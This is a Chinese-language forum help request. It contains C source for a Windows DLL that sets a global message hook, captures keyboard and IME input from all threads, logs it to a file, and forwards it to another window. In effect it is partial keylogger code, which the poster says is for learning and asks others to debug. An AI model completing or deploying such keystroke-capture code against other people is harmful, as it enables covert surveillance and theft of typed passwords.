#include
#include
#include
#include
#define _WIN32_WINNT 0x0500
#pragma data_seg( "abcd")
HHOOK H_HOOK;
HINSTANCE g_hInstance = NULL; // 模块实例句柄
#pragma data_seg()
#pragma comment(linker,"/section:abcd,rws")
//static HHOOK H_HOOK;
static HANDLE hFile;
static const myMessage=1124; // 自定义消息号
static HWND hWndMain; // MainForm句柄
static const SecondPar=1; // 自定义消息第2参数
static HFILE hfile_test;
static EVENTMSG keyMSG;
//static HINSTANCE g_hInstance = NULL; // 模块实例句柄
static int key_num=0;
BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
// 保存模块实例句柄
g_hInstance = (HINSTANCE)hModule;
// 在进程结束或线程结束时卸载钩子
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_DETACH:
if (H_HOOK != NULL) UnhookWindowsHookEx(H_HOOK);
break;
}
return TRUE;
}
DWORD writetofile(HANDLE hfile,char* lpstr)
{
DWORD dwWrites; //写入数据 char *test1 = "试验试验试验试验";
SetFilePointer(hfile,NULL,NULL,FILE_END);
BOOL succ_this = WriteFile(hfile,lpstr,strlen(lpstr),&dwWrites,NULL);
DWORD dwError = GetLastError();
return dwWrites;
}
LRESULT CALLBACK GetMsgProc(
int code, // hook code
WPARAM wParam, // removal flag
LPARAM lParam // address of structure with message
)
{
LPMSG msg = (LPMSG)lParam;
COPYDATASTRUCT cpdata;
if((msg->message==WM_KEYUP)||(msg->message==WM_CHAR)||(msg->message==WM_KEYDOWN)||(msg->message==WM_IME_CHAR)||(msg->message==WM_IME_COMPOSITION))
{
key_num++;
//把完整的信息写入文件
char buffer[200];
DWORD dwWrites;
int strlen;
strlen = sprintf(buffer, "hwnd : h%x\r\n",msg->hwnd);
strlen += sprintf(buffer+strlen,"message : h%x\r\n",msg->message);
strlen += sprintf(buffer+strlen,"wParam : h%x\r\n",msg->wParam);
strlen += sprintf(buffer+strlen,"lParam : h%x\r\n",msg->lParam);
strlen += sprintf(buffer+strlen,"time : h%x\r\n",msg->time);
strlen += sprintf(buffer+strlen,"pt.x : h%x\r\n",msg->pt.x);
strlen += sprintf(buffer+strlen,"pt.y : h%x\r\n\n\n\n",msg->pt.y);
dwWrites = writetofile(hFile,buffer);
cpdata.dwData = key_num ;
cpdata.cbData = sizeof(*msg);
cpdata.lpData = msg;
SendMessage(hWndMain,WM_COPYDATA,NULL,(LPARAM)&cpdata);
}
return 1;
}
上面还有最后一点代码没有贴出来:
BOOL WINAPI sethook(HWND hMainWin) {
hWndMain = hMainWin;
if (H_HOOK!=NULL) return TRUE;
hFile=CreateFile("d://log.txt",GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); //接受实际写入的字节数
H_HOOK = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hInstance, 0);
if (H_HOOK == NULL) return FALSE;
return TRUE;
}
我知道记录键盘消息可以不用这个钩子,可以用其他钩子,但是我一是想学习一下这种钩子,二是这种钩子能将完整消息给我呈现出来,譬如句柄什么的。按道理说这种钩子可以记录键盘消息, 但实际上为什么就不能呢????
哪位大侠帮一下我吧
我实在是没有思路了,都不知道怎么尝试了!
哪位大侠帮我一下啊!!!
为什么完全没有有用的回答!!!!!!!!!